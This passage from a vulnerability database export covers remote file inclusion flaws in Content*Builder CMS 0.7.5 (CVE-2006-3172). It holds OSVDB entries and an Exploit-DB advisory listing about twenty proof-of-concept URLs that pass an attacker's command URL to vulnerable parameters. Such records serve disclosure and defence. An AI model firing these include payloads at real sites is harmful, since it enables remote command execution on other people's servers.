26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26357", "id": "OSVDB:26357", "type": "osvdb", "title": "Content*Builder article/fullarticle.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/headline/headlineBox.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/headline/headlineBox.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26355](https://vulners.com/osvdb/OSVDB:26355)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26362", "id": "OSVDB:26362", "type": "osvdb", "title": "Content*Builder headline/headlineBox.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:22", "bulletinFamily": "software", "description": "## Vulnerability Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/download/overview.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nContent*Builder contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the /modules/download/overview.inc.php script not properly sanitizing user input supplied to the 'rel' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/\n## References:\nVendor URL: http://www.content-builder.de/\n[Secunia Advisory ID:20557](https://secuniaresearch.flexerasoftware.com/advisories/20557/)\n[Related OSVDB ID: 26344](https://vulners.com/osvdb/OSVDB:26344)\n[Related OSVDB ID: 26346](https://vulners.com/osvdb/OSVDB:26346)\n[Related OSVDB ID: 26347](https://vulners.com/osvdb/OSVDB:26347)\n[Related OSVDB ID: 26348](https://vulners.com/osvdb/OSVDB:26348)\n[Related OSVDB ID: 26349](https://vulners.com/osvdb/OSVDB:26349)\n[Related OSVDB ID: 26362](https://vulners.com/osvdb/OSVDB:26362)\n[Related OSVDB ID: 26359](https://vulners.com/osvdb/OSVDB:26359)\n[Related OSVDB ID: 26345](https://vulners.com/osvdb/OSVDB:26345)\n[Related OSVDB ID: 26350](https://vulners.com/osvdb/OSVDB:26350)\n[Related OSVDB ID: 26351](https://vulners.com/osvdb/OSVDB:26351)\n[Related OSVDB ID: 26352](https://vulners.com/osvdb/OSVDB:26352)\n[Related OSVDB ID: 26353](https://vulners.com/osvdb/OSVDB:26353)\n[Related OSVDB ID: 26357](https://vulners.com/osvdb/OSVDB:26357)\n[Related OSVDB ID: 26358](https://vulners.com/osvdb/OSVDB:26358)\n[Related OSVDB ID: 26360](https://vulners.com/osvdb/OSVDB:26360)\n[Related OSVDB ID: 26361](https://vulners.com/osvdb/OSVDB:26361)\n[Related OSVDB ID: 26363](https://vulners.com/osvdb/OSVDB:26363)\n[Related OSVDB ID: 26354](https://vulners.com/osvdb/OSVDB:26354)\n[Related OSVDB ID: 26356](https://vulners.com/osvdb/OSVDB:26356)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-06/0211.html\nFrSIRT Advisory: ADV-2006-2300\n[CVE-2006-3172](https://vulners.com/cve/CVE-2006-3172)\nBugtraq ID: 18404\n", "modified": "2006-06-11T16:34:06", "published": "2006-06-11T16:34:06", "href": "https://vulners.com/osvdb/OSVDB:26355", "id": "OSVDB:26355", "type": "osvdb", "title": "Content*Builder download/overview.inc.php rel Variable Remote File Inclusion", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-01-31T15:06:54", "bulletinFamily": "exploit", "description": "Content-Builder (CMS) 0.7.5 Multiple Include Vulnerabilities. CVE-2006-3172. Webapps exploit for php platform", "modified": "2006-06-11T00:00:00", "published": "2006-06-11T00:00:00", "id": "EDB-ID:1903", "href": "https://www.exploit-db.com/exploits/1903/", "type": "exploitdb", "title": "Content-Builder CMS 0.7.5 - Multiple Include Vulnerabilities", "sourceData": "-----------------------------------------------------\nAdvisory id: FSA:012\n\nAuthor: Federico Fazzi\nDate: 11/06/2006, 22:30\nSinthesis: Content-Builder (CMS) 0.7.5, Remote command execution\nType: high\nProduct: http://www.content-builder.de/\nPatch: unavailable\n-----------------------------------------------------\n\n\n1) Description:\n\nvulnerables page:\n\nMultiple vulnerabilities, see poc.\n\n2) Proof of concept:\n\nhttp://example/[cb_path]/cms/plugins/col_man/column.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/user_managment/user.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/media_manager/media.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[cmd_url]/\nhttp://example/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/\nhttp://example/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/\nhttp://example/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[cmd_url]/\nhttp://example/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article2/overview.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/article2/comments.inc.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/\nhttp://example/[cb_path]/modules/headline/showHeadline.inc.php?rel=[cmd_url]/\n\n(note: add a cmd url with final slash (/))\n\n3) Solution:\n\nsanitized all variables on all files.\n\n# milw0rm.com [2006-06-11]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/1903/"}]}